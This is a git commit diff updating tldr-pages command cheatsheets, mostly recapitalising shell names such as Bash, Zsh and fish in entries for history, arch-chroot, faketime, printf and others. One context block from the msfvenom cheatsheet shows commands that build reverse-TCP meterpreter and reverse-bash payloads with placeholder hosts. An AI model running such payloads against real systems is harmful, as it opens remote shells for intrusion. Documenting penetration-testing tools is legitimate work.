Update cheatsheets

This commit is contained in:
ivuorinen
2024-03-11 00:13:24 +00:00
parent e537ac4e2a
commit 5e19e68038
14 changed files with 18 additions and 18 deletions

View File

@@ -5,7 +5,7 @@ source: https://github.com/tldr-pages/tldr.git
--- ---
# history expansion # history expansion
> Reuse and expand the shell history in `sh`, `bash`, `zsh`, `rbash` and `ksh`. > Reuse and expand the shell history in `sh`, Bash, Zsh, `rbash` and `ksh`.
> More information: <https://www.gnu.org/software/bash/manual/html_node/History-Interaction>. > More information: <https://www.gnu.org/software/bash/manual/html_node/History-Interaction>.
- Run the previous command as root (`!!` is replaced by the previous command): - Run the previous command as root (`!!` is replaced by the previous command):

View File

@@ -12,15 +12,15 @@ source: https://github.com/tldr-pages/tldr.git
`history` `history`
- Display the last 20 commands (in `zsh` it displays all commands starting from the 20th): - Display the last 20 commands (in Zsh it displays all commands starting from the 20th):
`history {{20}}` `history {{20}}`
- Clear the commands history list (only for current `bash` shell): - Clear the commands history list (only for current Bash shell):
`history -c` `history -c`
- Overwrite history file with history of current `bash` shell (often combined with `history -c` to purge history): - Overwrite history file with history of current Bash shell (often combined with `history -c` to purge history):
`history -w` `history -w`

View File

@@ -8,7 +8,7 @@ source: https://github.com/tldr-pages/tldr.git
> Enhanced `chroot` command to help in the Arch Linux installation process. > Enhanced `chroot` command to help in the Arch Linux installation process.
> More information: <https://man.archlinux.org/man/arch-chroot.8>. > More information: <https://man.archlinux.org/man/arch-chroot.8>.
- Start an interactive shell (`bash`, by default) in a new root directory: - Start an interactive shell (Bash, by default) in a new root directory:
`arch-chroot {{path/to/new/root}}` `arch-chroot {{path/to/new/root}}`
@@ -16,10 +16,10 @@ source: https://github.com/tldr-pages/tldr.git
`arch-chroot -u {{user}} {{path/to/new/root}}` `arch-chroot -u {{user}} {{path/to/new/root}}`
- Run a custom command (instead of the default `bash`) in the new root directory: - Run a custom command (instead of the default Bash) in the new root directory:
`arch-chroot {{path/to/new/root}} {{command}} {{command_arguments}}` `arch-chroot {{path/to/new/root}} {{command}} {{command_arguments}}`
- Specify the shell, other than the default `bash` (in this case, the `zsh` package should have been installed in the target system): - Specify the shell, other than the default Bash (in this case, the `zsh` package should have been installed in the target system):
`arch-chroot {{path/to/new/root}} {{zsh}}` `arch-chroot {{path/to/new/root}} {{zsh}}`

View File

@@ -12,7 +12,7 @@ source: https://github.com/tldr-pages/tldr.git
`faketime '{{today 23:30}}' {{date}}` `faketime '{{today 23:30}}' {{date}}`
- Open a new `bash` shell, which uses yesterday as the current date: - Open a new Bash shell, which uses yesterday as the current date:
`faketime '{{yesterday}}' {{bash}}` `faketime '{{yesterday}}' {{bash}}`

View File

@@ -28,6 +28,6 @@ source: https://github.com/tldr-pages/tldr.git
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe -o {{path/to/binary.exe}}` `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe -o {{path/to/binary.exe}}`
- Create a raw bash with a reverse TCP handler: - Create a raw Bash with a reverse TCP handler:
`msfvenom -p cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} -f raw` `msfvenom -p cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} -f raw`

View File

@@ -5,7 +5,7 @@ source: https://github.com/tldr-pages/tldr.git
--- ---
# nvm # nvm
> Install, uninstall, or switch between Node.js versions under the `fish` shell. > Install, uninstall, or switch between Node.js versions under the fish shell.
> Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc. > Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.
> More information: <https://github.com/jorgebucaran/nvm.fish>. > More information: <https://github.com/jorgebucaran/nvm.fish>.

View File

@@ -11,6 +11,6 @@ source: https://github.com/tldr-pages/tldr.git
`tldr open -p osx` `tldr open -p osx`
- View documentation for the command available through `fish`: - View documentation for the command available through fish:
`tldr open.fish` `tldr open.fish`

View File

@@ -6,7 +6,7 @@ source: https://github.com/tldr-pages/tldr.git
# open # open
> Opens files, directories, and URIs with default applications. > Opens files, directories, and URIs with default applications.
> This command is available through `fish` on operating systems without the built-in `open` command (e.g. Haiku and macOS). > This command is available through fish on operating systems without the built-in `open` command (e.g. Haiku and macOS).
> More information: <https://fishshell.com/docs/current/cmds/open.html>. > More information: <https://fishshell.com/docs/current/cmds/open.html>.
- Open a file with the associated application: - Open a file with the associated application:

View File

@@ -5,7 +5,7 @@ source: https://github.com/tldr-pages/tldr.git
--- ---
# whence # whence
> A zsh builtin to indicate how a command would be interpreted. > A Zsh builtin to indicate how a command would be interpreted.
> More information: <https://keith.github.io/xcode-man-pages/whence.1.html>. > More information: <https://keith.github.io/xcode-man-pages/whence.1.html>.
- Interpret `command`, with expansion if defined as an `alias` (similar to the `command -v` builtin): - Interpret `command`, with expansion if defined as an `alias` (similar to the `command -v` builtin):

View File

@@ -8,7 +8,7 @@ source: https://github.com/tldr-pages/tldr.git
> Miscellaneous system commands for PlatformIO. > Miscellaneous system commands for PlatformIO.
> More information: <https://docs.platformio.org/en/latest/core/userguide/system/>. > More information: <https://docs.platformio.org/en/latest/core/userguide/system/>.
- Install shell completion for the current shell (supports Bash, Fish, Zsh and PowerShell): - Install shell completion for the current shell (supports Bash, fish, Zsh and PowerShell):
`pio system completion install` `pio system completion install`

View File

@@ -28,7 +28,7 @@ source: https://github.com/tldr-pages/tldr.git
`printf "{{var1: %s var2: %s `printf "{{var1: %s var2: %s
}}" "{{$VAR1}}" "{{$VAR2}}"` }}" "{{$VAR1}}" "{{$VAR2}}"`
- Store a formatted message in a variable (does not work on zsh): - Store a formatted message in a variable (does not work on Zsh):
`printf -v {{myvar}} {{"This is %s = %d `printf -v {{myvar}} {{"This is %s = %d
" "a year" 2016}}` " "a year" 2016}}`

View File

@@ -16,7 +16,7 @@ source: https://github.com/tldr-pages/tldr.git
`procs --tree` `procs --tree`
- List information about processes, if the commands which started them contain `zsh`: - List information about processes, if the commands which started them contain Zsh:
`procs {{zsh}}` `procs {{zsh}}`

View File

@@ -12,7 +12,7 @@ source: https://github.com/tldr-pages/tldr.git
`sudo pueue completions bash {{/usr/share/bash-completion/completions/pueue.bash}}` `sudo pueue completions bash {{/usr/share/bash-completion/completions/pueue.bash}}`
- Generate completions for zsh: - Generate completions for Zsh:
`sudo pueue completions zsh {{/usr/share/zsh/site-functions}}` `sudo pueue completions zsh {{/usr/share/zsh/site-functions}}`

View File

@@ -20,7 +20,7 @@ source: https://github.com/tldr-pages/tldr.git
`sudo --user={{user}} --group={{group}} {{id -a}}` `sudo --user={{user}} --group={{group}} {{id -a}}`
- Repeat the last command prefixed with `sudo` (only in `bash`, `zsh`, etc.): - Repeat the last command prefixed with `sudo` (only in Bash, Zsh, etc.):
`sudo !!` `sudo !!`